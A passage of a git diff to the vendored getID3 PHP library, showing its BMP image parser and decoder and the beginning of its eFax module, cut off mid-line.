* @var bool + */ + public $ExtractPalette = false; + + /** + * return image data + * + * @var bool + */ + public $ExtractData = false; + + /** + * @return bool + */ + public function Analyze() { + $info = &$this->getid3->info; + + // shortcuts + $info['bmp']['header']['raw'] = array(); + $thisfile_bmp = &$info['bmp']; + $thisfile_bmp_header = &$thisfile_bmp['header']; + $thisfile_bmp_header_raw = &$thisfile_bmp_header['raw']; + + // BITMAPFILEHEADER [14 bytes] - http://msdn.microsoft.com/library/en-us/gdi/bitmaps_62uq.asp + // all versions + // WORD bfType; + // DWORD bfSize; + // WORD bfReserved1; + // WORD bfReserved2; + // DWORD bfOffBits; + + $this->fseek($info['avdataoffset']); + $offset = 0; + $BMPheader = $this->fread(14 + 40); + + $thisfile_bmp_header_raw['identifier'] = substr($BMPheader, $offset, 2); + $offset += 2; + + $magic = 'BM'; + if ($thisfile_bmp_header_raw['identifier'] != $magic) { + $this->error('Expecting "'.getid3_lib::PrintHexBytes($magic).'" at offset '.$info['avdataoffset'].', found "'.getid3_lib::PrintHexBytes($thisfile_bmp_header_raw['identifier']).'"'); + unset($info['fileformat']); + unset($info['bmp']); + return false; + } + + $thisfile_bmp_header_raw['filesize'] = getid3_lib::LittleEndian2Int(substr($BMPheader, $offset, 4)); + $offset += 4; + $thisfile_bmp_header_raw['reserved1'] = getid3_lib::LittleEndian2Int(substr($BMPheader, $offset, 2)); + $offset += 2; + $thisfile_bmp_header_raw['reserved2'] = getid3_lib::LittleEndian2Int(substr($BMPheader, $offset, 2)); + $offset += 2; + $thisfile_bmp_header_raw['data_offset'] = getid3_lib::LittleEndian2Int(substr($BMPheader, $offset, 4)); + $offset += 4; + $thisfile_bmp_header_raw['header_size'] = getid3_lib::LittleEndian2Int(substr($BMPheader, $offset, 4)); + $offset += 4; + + + // check if the hardcoded-to-1 "planes" is at offset 22 or 26 + $planes22 = getid3_lib::LittleEndian2Int(substr($BMPheader, 22, 2)); + $planes26 = getid3_lib::LittleEndian2Int(substr($BMPheader, 26, 2)); + if (($planes22 == 1) && ($planes26 != 1)) { + $thisfile_bmp['type_os'] = 'OS/2'; + $thisfile_bmp['type_version'] = 1; + } elseif (($planes26 == 1) && ($planes22 != 1)) { + $thisfile_bmp['type_os'] = 'Windows'; + $thisfile_bmp['type_version'] = 1; + } elseif ($thisfile_bmp_header_raw['header_size'] == 12) { + $thisfile_bmp['type_os'] = 'OS/2'; + $thisfile_bmp['type_version'] = 1; + } elseif ($thisfile_bmp_header_raw['header_size'] == 40) { + $thisfile_bmp['type_os'] = 'Windows'; + $thisfile_bmp['type_version'] = 1; + } elseif ($thisfile_bmp_header_raw['header_size'] == 84) { + $thisfile_bmp['type_os'] = 'Windows'; + $thisfile_bmp['type_version'] = 4; + } elseif ($thisfile_bmp_header_raw['header_size'] == 100) { + $thisfile_bmp['type_os'] = 'Windows'; + $thisfile_bmp['type_version'] = 5; + } else { + $this->error('Unknown BMP subtype (or not a BMP file)'); + unset($info['fileformat']); + unset($info['bmp']); + return false; + } + + $info['fileformat'] = 'bmp'; + $info['video']['dataformat'] = 'bmp'; + $info['video']['lossless'] = true; + $info['video']['pixel_aspect_ratio'] = (float) 1; + + if ($thisfile_bmp['type_os'] == 'OS/2') { + + // OS/2-format BMP + // http://netghost.narod.ru/gff/graphics/summary/os2bmp.htm + + // DWORD Size; /* Size of this structure in bytes */ + // DWORD Width; /* Bitmap width in pixels */ + // DWORD Height; /* Bitmap height in pixel */ + // WORD NumPlanes; /* Number of bit planes (color depth) */ + // WORD BitsPerPixel; /* Number of bits per pixel per plane */ + + $thisfile_bmp_header_raw['width'] = getid3_lib::LittleEndian2Int(substr($BMPheader, $offset, 2)); + $offset += 2; + $thisfile_bmp_header_raw['height'] = getid3_lib::LittleEndian2Int(substr($BMPheader, $offset, 2)); + $offset += 2; + $thisfile_bmp_header_raw['planes'] = getid3_lib::LittleEndian2Int(substr($BMPheader, $offset, 2)); + $offset += 2; + $thisfile_bmp_header_raw['bits_per_pixel'] = getid3_lib::LittleEndian2Int(substr($BMPheader, $offset, 2)); + $offset += 2; + + $info['video']['resolution_x'] = $thisfile_bmp_header_raw['width']; + $info['video']['resolution_y'] = $thisfile_bmp_header_raw['height']; + $info['video']['codec'] = 'BI_RGB '.$thisfile_bmp_header_raw['bits_per_pixel'].'-bit'; + $info['video']['bits_per_sample'] = $thisfile_bmp_header_raw['bits_per_pixel']; + + if ($thisfile_bmp['type_version'] >= 2) { + // DWORD Compression; /* Bitmap compression scheme */ + // DWORD ImageDataSize; /* Size of bitmap data in bytes */ + // DWORD XResolution; /* X resolution of display device */ + // DWORD YResolution; /* Y resolution of display device */ + // DWORD ColorsUsed; /* Number of color table indices used */ + // DWORD ColorsImportant; /* Number of important color indices */ + // WORD Units; /* Type of units used to measure resolution */ + // WORD Reserved; /* Pad structure to 4-byte boundary */ + // WORD Recording; /* Recording algorithm */ + // WORD Rendering; /* Halftoning algorithm used */ + // DWORD Size1; /* Reserved for halftoning algorithm use */ + // DWORD Size2; /* Reserved for halftoning algorithm use */ + // DWORD ColorEncoding; /* Color model used in bitmap */ + // DWORD Identifier; /* Reserved for application use */ + + $thisfile_bmp_header_raw['compression'] = getid3_lib::LittleEndian2Int(substr($BMPheader, $offset, 4)); + $offset += 4; + $thisfile_bmp_header_raw['bmp_data_size'] = getid3_lib::LittleEndian2Int(substr($BMPheader, $offset, 4)); + $offset += 4; + $thisfile_bmp_header_raw['resolution_h'] = getid3_lib::LittleEndian2Int(substr($BMPheader, $offset, 4)); + $offset += 4; + $thisfile_bmp_header_raw['resolution_v'] = getid3_lib::LittleEndian2Int(substr($BMPheader, $offset, 4)); + $offset += 4; + $thisfile_bmp_header_raw['colors_used'] = getid3_lib::LittleEndian2Int(substr($BMPheader, $offset, 4)); + $offset += 4; + $thisfile_bmp_header_raw['colors_important'] = getid3_lib::LittleEndian2Int(substr($BMPheader, $offset, 4)); + $offset += 4; + $thisfile_bmp_header_raw['resolution_units'] = getid3_lib::LittleEndian2Int(substr($BMPheader, $offset, 2)); + $offset += 2; + $thisfile_bmp_header_raw['reserved1'] = getid3_lib::LittleEndian2Int(substr($BMPheader, $offset, 2)); + $offset += 2; + $thisfile_bmp_header_raw['recording'] = getid3_lib::LittleEndian2Int(substr($BMPheader, $offset, 2)); + $offset += 2; + $thisfile_bmp_header_raw['rendering'] = getid3_lib::LittleEndian2Int(substr($BMPheader, $offset, 2)); + $offset += 2; + $thisfile_bmp_header_raw['size1'] = getid3_lib::LittleEndian2Int(substr($BMPheader, $offset, 4)); + $offset += 4; + $thisfile_bmp_header_raw['size2'] = getid3_lib::LittleEndian2Int(substr($BMPheader, $offset, 4)); + $offset += 4; + $thisfile_bmp_header_raw['color_encoding'] = getid3_lib::LittleEndian2Int(substr($BMPheader, $offset, 4)); + $offset += 4; + $thisfile_bmp_header_raw['identifier'] = getid3_lib::LittleEndian2Int(substr($BMPheader, $offset, 4)); + $offset += 4; + + $thisfile_bmp_header['compression'] = $this->BMPcompressionOS2Lookup($thisfile_bmp_header_raw['compression']); + + $info['video']['codec'] = $thisfile_bmp_header['compression'].' '.$thisfile_bmp_header_raw['bits_per_pixel'].'-bit'; + } + + } elseif ($thisfile_bmp['type_os'] == 'Windows') { + + // Windows-format BMP + + // BITMAPINFOHEADER - [40 bytes] http://msdn.microsoft.com/library/en-us/gdi/bitmaps_1rw2.asp + // all versions + // DWORD biSize; + // LONG biWidth; + // LONG biHeight; + // WORD biPlanes; + // WORD biBitCount; + // DWORD biCompression; + // DWORD biSizeImage; + // LONG biXPelsPerMeter; + // LONG biYPelsPerMeter; + // DWORD biClrUsed; + // DWORD biClrImportant; + + // possibly integrate this section and module.audio-video.riff.php::ParseBITMAPINFOHEADER() ? + + $thisfile_bmp_header_raw['width'] = getid3_lib::LittleEndian2Int(substr($BMPheader, $offset, 4), true); + $offset += 4; + $thisfile_bmp_header_raw['height'] = getid3_lib::LittleEndian2Int(substr($BMPheader, $offset, 4), true); + $offset += 4; + $thisfile_bmp_header_raw['planes'] = getid3_lib::LittleEndian2Int(substr($BMPheader, $offset, 2)); + $offset += 2; + $thisfile_bmp_header_raw['bits_per_pixel'] = getid3_lib::LittleEndian2Int(substr($BMPheader, $offset, 2)); + $offset += 2; + $thisfile_bmp_header_raw['compression'] = getid3_lib::LittleEndian2Int(substr($BMPheader, $offset, 4)); + $offset += 4; + $thisfile_bmp_header_raw['bmp_data_size'] = getid3_lib::LittleEndian2Int(substr($BMPheader, $offset, 4)); + $offset += 4; + $thisfile_bmp_header_raw['resolution_h'] = getid3_lib::LittleEndian2Int(substr($BMPheader, $offset, 4), true); + $offset += 4; + $thisfile_bmp_header_raw['resolution_v'] = getid3_lib::LittleEndian2Int(substr($BMPheader, $offset, 4), true); + $offset += 4; + $thisfile_bmp_header_raw['colors_used'] = getid3_lib::LittleEndian2Int(substr($BMPheader, $offset, 4)); + $offset += 4; + $thisfile_bmp_header_raw['colors_important'] = getid3_lib::LittleEndian2Int(substr($BMPheader, $offset, 4)); + $offset += 4; + + $thisfile_bmp_header['compression'] = $this->BMPcompressionWindowsLookup($thisfile_bmp_header_raw['compression']); + $info['video']['resolution_x'] = $thisfile_bmp_header_raw['width']; + $info['video']['resolution_y'] = $thisfile_bmp_header_raw['height']; + $info['video']['codec'] = $thisfile_bmp_header['compression'].' '.$thisfile_bmp_header_raw['bits_per_pixel'].'-bit'; + $info['video']['bits_per_sample'] = $thisfile_bmp_header_raw['bits_per_pixel']; + + if (($thisfile_bmp['type_version'] >= 4) || ($thisfile_bmp_header_raw['compression'] == 3)) { + // should only be v4+, but BMPs with type_version==1 and BI_BITFIELDS compression have been seen + $BMPheader .= $this->fread(44); + + // BITMAPV4HEADER - [44 bytes] - http://msdn.microsoft.com/library/en-us/gdi/bitmaps_2k1e.asp + // Win95+, WinNT4.0+ + // DWORD bV4RedMask; + // DWORD bV4GreenMask; + // DWORD bV4BlueMask; + // DWORD bV4AlphaMask; + // DWORD bV4CSType; + // CIEXYZTRIPLE bV4Endpoints; + // DWORD bV4GammaRed; + // DWORD bV4GammaGreen; + // DWORD bV4GammaBlue; + $thisfile_bmp_header_raw['red_mask'] = getid3_lib::LittleEndian2Int(substr($BMPheader, $offset, 4)); + $offset += 4; + $thisfile_bmp_header_raw['green_mask'] = getid3_lib::LittleEndian2Int(substr($BMPheader, $offset, 4)); + $offset += 4; + $thisfile_bmp_header_raw['blue_mask'] = getid3_lib::LittleEndian2Int(substr($BMPheader, $offset, 4)); + $offset += 4; + $thisfile_bmp_header_raw['alpha_mask'] = getid3_lib::LittleEndian2Int(substr($BMPheader, $offset, 4)); + $offset += 4; + $thisfile_bmp_header_raw['cs_type'] = getid3_lib::LittleEndian2Int(substr($BMPheader, $offset, 4)); + $offset += 4; + $thisfile_bmp_header_raw['ciexyz_red'] = substr($BMPheader, $offset, 4); + $offset += 4; + $thisfile_bmp_header_raw['ciexyz_green'] = substr($BMPheader, $offset, 4); + $offset += 4; + $thisfile_bmp_header_raw['ciexyz_blue'] = substr($BMPheader, $offset, 4); + $offset += 4; + $thisfile_bmp_header_raw['gamma_red'] = getid3_lib::LittleEndian2Int(substr($BMPheader, $offset, 4)); + $offset += 4; + $thisfile_bmp_header_raw['gamma_green'] = getid3_lib::LittleEndian2Int(substr($BMPheader, $offset, 4)); + $offset += 4; + $thisfile_bmp_header_raw['gamma_blue'] = getid3_lib::LittleEndian2Int(substr($BMPheader, $offset, 4)); + $offset += 4; + + $thisfile_bmp_header['ciexyz_red'] = getid3_lib::FixedPoint2_30(strrev($thisfile_bmp_header_raw['ciexyz_red'])); + $thisfile_bmp_header['ciexyz_green'] = getid3_lib::FixedPoint2_30(strrev($thisfile_bmp_header_raw['ciexyz_green'])); + $thisfile_bmp_header['ciexyz_blue'] = getid3_lib::FixedPoint2_30(strrev($thisfile_bmp_header_raw['ciexyz_blue'])); + } + + if ($thisfile_bmp['type_version'] >= 5) { + $BMPheader .= $this->fread(16); + + // BITMAPV5HEADER - [16 bytes] - http://msdn.microsoft.com/library/en-us/gdi/bitmaps_7c36.asp + // Win98+, Win2000+ + // DWORD bV5Intent; + // DWORD bV5ProfileData; + // DWORD bV5ProfileSize; + // DWORD bV5Reserved; + $thisfile_bmp_header_raw['intent'] = getid3_lib::LittleEndian2Int(substr($BMPheader, $offset, 4)); + $offset += 4; + $thisfile_bmp_header_raw['profile_data_offset'] = getid3_lib::LittleEndian2Int(substr($BMPheader, $offset, 4)); + $offset += 4; + $thisfile_bmp_header_raw['profile_data_size'] = getid3_lib::LittleEndian2Int(substr($BMPheader, $offset, 4)); + $offset += 4; + $thisfile_bmp_header_raw['reserved3'] = getid3_lib::LittleEndian2Int(substr($BMPheader, $offset, 4)); + $offset += 4; + } + + } else { + + $this->error('Unknown BMP format in header.'); + return false; + + } + + + if ($this->ExtractPalette || $this->ExtractData) { + $PaletteEntries = 0; + if ($thisfile_bmp_header_raw['bits_per_pixel'] < 16) { + $PaletteEntries = pow(2, $thisfile_bmp_header_raw['bits_per_pixel']); + } elseif (isset($thisfile_bmp_header_raw['colors_used']) && ($thisfile_bmp_header_raw['colors_used'] > 0) && ($thisfile_bmp_header_raw['colors_used'] <= 256)) { + $PaletteEntries = $thisfile_bmp_header_raw['colors_used']; + } + if ($PaletteEntries > 0) { + $BMPpalette = $this->fread(4 * $PaletteEntries); + $paletteoffset = 0; + for ($i = 0; $i < $PaletteEntries; $i++) { + // RGBQUAD - http://msdn.microsoft.com/library/en-us/gdi/bitmaps_5f8y.asp + // BYTE rgbBlue; + // BYTE rgbGreen; + // BYTE rgbRed; + // BYTE rgbReserved; + $blue = getid3_lib::LittleEndian2Int(substr($BMPpalette, $paletteoffset++, 1)); + $green = getid3_lib::LittleEndian2Int(substr($BMPpalette, $paletteoffset++, 1)); + $red = getid3_lib::LittleEndian2Int(substr($BMPpalette, $paletteoffset++, 1)); + if (($thisfile_bmp['type_os'] == 'OS/2') && ($thisfile_bmp['type_version'] == 1)) { + // no padding byte + } else { + $paletteoffset++; // padding byte + } + $thisfile_bmp['palette'][$i] = (($red << 16) | ($green << 8) | $blue); + } + } + } + + if ($this->ExtractData) { + $this->fseek($thisfile_bmp_header_raw['data_offset']); + $RowByteLength = ceil(($thisfile_bmp_header_raw['width'] * ($thisfile_bmp_header_raw['bits_per_pixel'] / 8)) / 4) * 4; // round up to nearest DWORD boundry + $BMPpixelData = $this->fread($thisfile_bmp_header_raw['height'] * $RowByteLength); + $pixeldataoffset = 0; + $thisfile_bmp_header_raw['compression'] = (isset($thisfile_bmp_header_raw['compression']) ? $thisfile_bmp_header_raw['compression'] : ''); + switch ($thisfile_bmp_header_raw['compression']) { + + case 0: // BI_RGB + switch ($thisfile_bmp_header_raw['bits_per_pixel']) { + case 1: + for ($row = ($thisfile_bmp_header_raw['height'] - 1); $row >= 0; $row--) { + for ($col = 0; $col < $thisfile_bmp_header_raw['width']; $col = $col) { + $paletteindexbyte = ord($BMPpixelData[$pixeldataoffset++]); + for ($i = 7; $i >= 0; $i--) { + $paletteindex = ($paletteindexbyte & (0x01 << $i)) >> $i; + $thisfile_bmp['data'][$row][$col] = $thisfile_bmp['palette'][$paletteindex]; + $col++; + } + } + while (($pixeldataoffset % 4) != 0) { + // lines are padded to nearest DWORD + $pixeldataoffset++; + } + } + break; + + case 4: + for ($row = ($thisfile_bmp_header_raw['height'] - 1); $row >= 0; $row--) { + for ($col = 0; $col < $thisfile_bmp_header_raw['width']; $col = $col) { + $paletteindexbyte = ord($BMPpixelData[$pixeldataoffset++]); + for ($i = 1; $i >= 0; $i--) { + $paletteindex = ($paletteindexbyte & (0x0F << (4 * $i))) >> (4 * $i); + $thisfile_bmp['data'][$row][$col] = $thisfile_bmp['palette'][$paletteindex]; + $col++; + } + } + while (($pixeldataoffset % 4) != 0) { + // lines are padded to nearest DWORD + $pixeldataoffset++; + } + } + break; + + case 8: + for ($row = ($thisfile_bmp_header_raw['height'] - 1); $row >= 0; $row--) { + for ($col = 0; $col < $thisfile_bmp_header_raw['width']; $col++) { + $paletteindex = ord($BMPpixelData[$pixeldataoffset++]); + $thisfile_bmp['data'][$row][$col] = $thisfile_bmp['palette'][$paletteindex]; + } + while (($pixeldataoffset % 4) != 0) { + // lines are padded to nearest DWORD + $pixeldataoffset++; + } + } + break; + + case 24: + for ($row = ($thisfile_bmp_header_raw['height'] - 1); $row >= 0; $row--) { + for ($col = 0; $col < $thisfile_bmp_header_raw['width']; $col++) { + $thisfile_bmp['data'][$row][$col] = (ord($BMPpixelData[$pixeldataoffset+2]) << 16) | (ord($BMPpixelData[$pixeldataoffset+1]) << 8) | ord($BMPpixelData[$pixeldataoffset]); + $pixeldataoffset += 3; + } + while (($pixeldataoffset % 4) != 0) { + // lines are padded to nearest DWORD + $pixeldataoffset++; + } + } + break; + + case 32: + for ($row = ($thisfile_bmp_header_raw['height'] - 1); $row >= 0; $row--) { + for ($col = 0; $col < $thisfile_bmp_header_raw['width']; $col++) { + $thisfile_bmp['data'][$row][$col] = (ord($BMPpixelData[$pixeldataoffset+3]) << 24) | (ord($BMPpixelData[$pixeldataoffset+2]) << 16) | (ord($BMPpixelData[$pixeldataoffset+1]) << 8) | ord($BMPpixelData[$pixeldataoffset]); + $pixeldataoffset += 4; + } + while (($pixeldataoffset % 4) != 0) { + // lines are padded to nearest DWORD + $pixeldataoffset++; + } + } + break; + + case 16: + // ? + break; + + default: + $this->error('Unknown bits-per-pixel value ('.$thisfile_bmp_header_raw['bits_per_pixel'].') - cannot read pixel data'); + break; + } + break; + + + case 1: // BI_RLE8 - http://msdn.microsoft.com/library/en-us/gdi/bitmaps_6x0u.asp + switch ($thisfile_bmp_header_raw['bits_per_pixel']) { + case 8: + $pixelcounter = 0; + while ($pixeldataoffset < strlen($BMPpixelData)) { + $firstbyte = getid3_lib::LittleEndian2Int(substr($BMPpixelData, $pixeldataoffset++, 1)); + $secondbyte = getid3_lib::LittleEndian2Int(substr($BMPpixelData, $pixeldataoffset++, 1)); + if ($firstbyte == 0) { + + // escaped/absolute mode - the first byte of the pair can be set to zero to + // indicate an escape character that denotes the end of a line, the end of + // a bitmap, or a delta, depending on the value of the second byte. + switch ($secondbyte) { + case 0: + // end of line + // no need for special processing, just ignore + break; + + case 1: + // end of bitmap + $pixeldataoffset = strlen($BMPpixelData); // force to exit loop just in case + break; + + case 2: + // delta - The 2 bytes following the escape contain unsigned values + // indicating the horizontal and vertical offsets of the next pixel + // from the current position. + $colincrement = getid3_lib::LittleEndian2Int(substr($BMPpixelData, $pixeldataoffset++, 1)); + $rowincrement = getid3_lib::LittleEndian2Int(substr($BMPpixelData, $pixeldataoffset++, 1)); + $col = ($pixelcounter % $thisfile_bmp_header_raw['width']) + $colincrement; + $row = ($thisfile_bmp_header_raw['height'] - 1 - (($pixelcounter - $col) / $thisfile_bmp_header_raw['width'])) - $rowincrement; + $pixelcounter = ($row * $thisfile_bmp_header_raw['width']) + $col; + break; + + default: + // In absolute mode, the first byte is zero and the second byte is a + // value in the range 03H through FFH. The second byte represents the + // number of bytes that follow, each of which contains the color index + // of a single pixel. Each run must be aligned on a word boundary. + for ($i = 0; $i < $secondbyte; $i++) { + $paletteindex = getid3_lib::LittleEndian2Int(substr($BMPpixelData, $pixeldataoffset++, 1)); + $col = $pixelcounter % $thisfile_bmp_header_raw['width']; + $row = $thisfile_bmp_header_raw['height'] - 1 - (($pixelcounter - $col) / $thisfile_bmp_header_raw['width']); + $thisfile_bmp['data'][$row][$col] = $thisfile_bmp['palette'][$paletteindex]; + $pixelcounter++; + } + while (($pixeldataoffset % 2) != 0) { + // Each run must be aligned on a word boundary. + $pixeldataoffset++; + } + break; + } + + } else { + + // encoded mode - the first byte specifies the number of consecutive pixels + // to be drawn using the color index contained in the second byte. + for ($i = 0; $i < $firstbyte; $i++) { + $col = $pixelcounter % $thisfile_bmp_header_raw['width']; + $row = $thisfile_bmp_header_raw['height'] - 1 - (($pixelcounter - $col) / $thisfile_bmp_header_raw['width']); + $thisfile_bmp['data'][$row][$col] = $thisfile_bmp['palette'][$secondbyte]; + $pixelcounter++; + } + + } + } + break; + + default: + $this->error('Unknown bits-per-pixel value ('.$thisfile_bmp_header_raw['bits_per_pixel'].') - cannot read pixel data'); + break; + } + break; + + + + case 2: // BI_RLE4 - http://msdn.microsoft.com/library/en-us/gdi/bitmaps_6x0u.asp + switch ($thisfile_bmp_header_raw['bits_per_pixel']) { + case 4: + $pixelcounter = 0; + $paletteindexes = array(); + while ($pixeldataoffset < strlen($BMPpixelData)) { + $firstbyte = getid3_lib::LittleEndian2Int(substr($BMPpixelData, $pixeldataoffset++, 1)); + $secondbyte = getid3_lib::LittleEndian2Int(substr($BMPpixelData, $pixeldataoffset++, 1)); + if ($firstbyte == 0) { + + // escaped/absolute mode - the first byte of the pair can be set to zero to + // indicate an escape character that denotes the end of a line, the end of + // a bitmap, or a delta, depending on the value of the second byte. + switch ($secondbyte) { + case 0: + // end of line + // no need for special processing, just ignore + break; + + case 1: + // end of bitmap + $pixeldataoffset = strlen($BMPpixelData); // force to exit loop just in case + break; + + case 2: + // delta - The 2 bytes following the escape contain unsigned values + // indicating the horizontal and vertical offsets of the next pixel + // from the current position. + $colincrement = getid3_lib::LittleEndian2Int(substr($BMPpixelData, $pixeldataoffset++, 1)); + $rowincrement = getid3_lib::LittleEndian2Int(substr($BMPpixelData, $pixeldataoffset++, 1)); + $col = ($pixelcounter % $thisfile_bmp_header_raw['width']) + $colincrement; + $row = ($thisfile_bmp_header_raw['height'] - 1 - (($pixelcounter - $col) / $thisfile_bmp_header_raw['width'])) - $rowincrement; + $pixelcounter = ($row * $thisfile_bmp_header_raw['width']) + $col; + break; + + default: + // In absolute mode, the first byte is zero. The second byte contains the number + // of color indexes that follow. Subsequent bytes contain color indexes in their + // high- and low-order 4 bits, one color index for each pixel. In absolute mode, + // each run must be aligned on a word boundary. + $paletteindexes = array(); + for ($i = 0; $i < ceil($secondbyte / 2); $i++) { + $paletteindexbyte = getid3_lib::LittleEndian2Int(substr($BMPpixelData, $pixeldataoffset++, 1)); + $paletteindexes[] = ($paletteindexbyte & 0xF0) >> 4; + $paletteindexes[] = ($paletteindexbyte & 0x0F); + } + while (($pixeldataoffset % 2) != 0) { + // Each run must be aligned on a word boundary. + $pixeldataoffset++; + } + + foreach ($paletteindexes as $paletteindex) { + $col = $pixelcounter % $thisfile_bmp_header_raw['width']; + $row = $thisfile_bmp_header_raw['height'] - 1 - (($pixelcounter - $col) / $thisfile_bmp_header_raw['width']); + $thisfile_bmp['data'][$row][$col] = $thisfile_bmp['palette'][$paletteindex]; + $pixelcounter++; + } + break; + } + + } else { + + // encoded mode - the first byte of the pair contains the number of pixels to be + // drawn using the color indexes in the second byte. The second byte contains two + // color indexes, one in its high-order 4 bits and one in its low-order 4 bits. + // The first of the pixels is drawn using the color specified by the high-order + // 4 bits, the second is drawn using the color in the low-order 4 bits, the third + // is drawn using the color in the high-order 4 bits, and so on, until all the + // pixels specified by the first byte have been drawn. + $paletteindexes[0] = ($secondbyte & 0xF0) >> 4; + $paletteindexes[1] = ($secondbyte & 0x0F); + for ($i = 0; $i < $firstbyte; $i++) { + $col = $pixelcounter % $thisfile_bmp_header_raw['width']; + $row = $thisfile_bmp_header_raw['height'] - 1 - (($pixelcounter - $col) / $thisfile_bmp_header_raw['width']); + $thisfile_bmp['data'][$row][$col] = $thisfile_bmp['palette'][$paletteindexes[($i % 2)]]; + $pixelcounter++; + } + + } + } + break; + + default: + $this->error('Unknown bits-per-pixel value ('.$thisfile_bmp_header_raw['bits_per_pixel'].') - cannot read pixel data'); + break; + } + break; + + + case 3: // BI_BITFIELDS + switch ($thisfile_bmp_header_raw['bits_per_pixel']) { + case 16: + case 32: + $redshift = 0; + $greenshift = 0; + $blueshift = 0; + while ((($thisfile_bmp_header_raw['red_mask'] >> $redshift) & 0x01) == 0) { + $redshift++; + } + while ((($thisfile_bmp_header_raw['green_mask'] >> $greenshift) & 0x01) == 0) { + $greenshift++; + } + while ((($thisfile_bmp_header_raw['blue_mask'] >> $blueshift) & 0x01) == 0) { + $blueshift++; + } + for ($row = ($thisfile_bmp_header_raw['height'] - 1); $row >= 0; $row--) { + for ($col = 0; $col < $thisfile_bmp_header_raw['width']; $col++) { + $pixelvalue = getid3_lib::LittleEndian2Int(substr($BMPpixelData, $pixeldataoffset, $thisfile_bmp_header_raw['bits_per_pixel'] / 8)); + $pixeldataoffset += $thisfile_bmp_header_raw['bits_per_pixel'] / 8; + + $red = intval(round(((($pixelvalue & $thisfile_bmp_header_raw['red_mask']) >> $redshift) / ($thisfile_bmp_header_raw['red_mask'] >> $redshift)) * 255)); + $green = intval(round(((($pixelvalue & $thisfile_bmp_header_raw['green_mask']) >> $greenshift) / ($thisfile_bmp_header_raw['green_mask'] >> $greenshift)) * 255)); + $blue = intval(round(((($pixelvalue & $thisfile_bmp_header_raw['blue_mask']) >> $blueshift) / ($thisfile_bmp_header_raw['blue_mask'] >> $blueshift)) * 255)); + $thisfile_bmp['data'][$row][$col] = (($red << 16) | ($green << 8) | ($blue)); + } + while (($pixeldataoffset % 4) != 0) { + // lines are padded to nearest DWORD + $pixeldataoffset++; + } + } + break; + + default: + $this->error('Unknown bits-per-pixel value ('.$thisfile_bmp_header_raw['bits_per_pixel'].') - cannot read pixel data'); + break; + } + break; + + + default: // unhandled compression type + $this->error('Unknown/unhandled compression type value ('.$thisfile_bmp_header_raw['compression'].') - cannot decompress pixel data'); + break; + } + } + + return true; + } + + /** + * @param array $BMPinfo + * + * @return bool + */ + public function PlotBMP(&$BMPinfo) { + $starttime = time(); + if (!isset($BMPinfo['bmp']['data']) || !is_array($BMPinfo['bmp']['data'])) { + echo 'ERROR: no pixel data
                              '; + return false; + } + set_time_limit(intval(round($BMPinfo['resolution_x'] * $BMPinfo['resolution_y'] / 10000))); + if ($im = imagecreatetruecolor($BMPinfo['resolution_x'], $BMPinfo['resolution_y'])) { + for ($row = 0; $row < $BMPinfo['resolution_y']; $row++) { + for ($col = 0; $col < $BMPinfo['resolution_x']; $col++) { + if (isset($BMPinfo['bmp']['data'][$row][$col])) { + $red = ($BMPinfo['bmp']['data'][$row][$col] & 0x00FF0000) >> 16; + $green = ($BMPinfo['bmp']['data'][$row][$col] & 0x0000FF00) >> 8; + $blue = ($BMPinfo['bmp']['data'][$row][$col] & 0x000000FF); + $pixelcolor = imagecolorallocate($im, $red, $green, $blue); + imagesetpixel($im, $col, $row, $pixelcolor); + } else { + //echo 'ERROR: no data for pixel '.$row.' x '.$col.'
                              '; + //return false; + } + } + } + if (headers_sent()) { + echo 'plotted '.($BMPinfo['resolution_x'] * $BMPinfo['resolution_y']).' pixels in '.(time() - $starttime).' seconds
                              '; + imagedestroy($im); + exit; + } else { + header('Content-type: image/png'); + imagepng($im); + imagedestroy($im); + return true; + } + } + return false; + } + + /** + * @param int $compressionid + * + * @return string + */ + public function BMPcompressionWindowsLookup($compressionid) { + static $BMPcompressionWindowsLookup = array( + 0 => 'BI_RGB', + 1 => 'BI_RLE8', + 2 => 'BI_RLE4', + 3 => 'BI_BITFIELDS', + 4 => 'BI_JPEG', + 5 => 'BI_PNG' + ); + return (isset($BMPcompressionWindowsLookup[$compressionid]) ? $BMPcompressionWindowsLookup[$compressionid] : 'invalid'); + } + + /** + * @param int $compressionid + * + * @return string + */ + public function BMPcompressionOS2Lookup($compressionid) { + static $BMPcompressionOS2Lookup = array( + 0 => 'BI_RGB', + 1 => 'BI_RLE8', + 2 => 'BI_RLE4', + 3 => 'Huffman 1D', + 4 => 'BI_RLE24', + ); + return (isset($BMPcompressionOS2Lookup[$compressionid]) ? $BMPcompressionOS2Lookup[$compressionid] : 'invalid'); + } + +} diff --git a/vendor/james-heinrich/getid3/getid3/module.graphic.efax.php b/vendor/james-heinrich/getid3/getid3/module.graphic.efax.php index f5e7787cc9..82ea3544ba 100644 --- a/vendor/james-heinrich/getid3/getid3/module.graphic.efax.php +++ b/vendor/james-heinrich/getid3/getid3/module.graphic.efax.php @@ -1,54 +1,54 @@ - // -// available at https://github.com/JamesHeinrich/getID3 // -// or https://www.getid3.org // -// or http://getid3.sourceforge.net // -// see readme.txt for more details // -///////////////////////////////////////////////////////////////// -// // -// module.archive.efax.php // -// module for analyzing eFax files // -// dependencies: NONE // -// /// -///////////////////////////////////////////////////////////////// - -if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers - exit; -} - -class getid3_efax extends getid3_handler -{ - /** - * @return bool - */ - public function Analyze() { - $info = &$this->getid3->info; - - $this->fseek($info['avdataoffset']); - $efaxheader = $this->fread(1024); - - $info['efax']['header']['magic'] = substr($efaxheader, 0, 2); - if ($info['efax']['header']['magic'] != "\xDC\xFE") { - $this->error('Invalid eFax byte order identifier (expecting DC FE, found '.getid3_lib::PrintHexBytes($info['efax']['header']['magic']).') at offset '.$info['avdataoffset']); - return false; - } - $info['fileformat'] = 'efax'; - - $info['efax']['header']['filesize'] = getid3_lib::LittleEndian2Int(substr($efaxheader, 2, 4)); - if ($info['efax']['header']['filesize'] != $info['filesize']) { - $this->error('Probable '.(($info['efax']['header']['filesize'] > $info['filesize']) ? 'truncated' : 'corrupt').' file, expecting '.$info['efax']['header']['filesize'].' bytes, found '.$info['filesize'].' bytes'); - } - $info['efax']['header']['software1'] = rtrim(substr($efaxheader, 26, 32), "\x00"); - $info['efax']['header']['software2'] = rtrim(substr($efaxheader, 58, 32), "\x00"); - $info['efax']['header']['software3'] = rtrim(substr($efaxheader, 90, 32), "\x00"); - - $info['efax']['header']['pages'] = getid3_lib::LittleEndian2Int(substr($efaxheader, 198, 2)); - $info['efax']['header']['data_bytes'] = 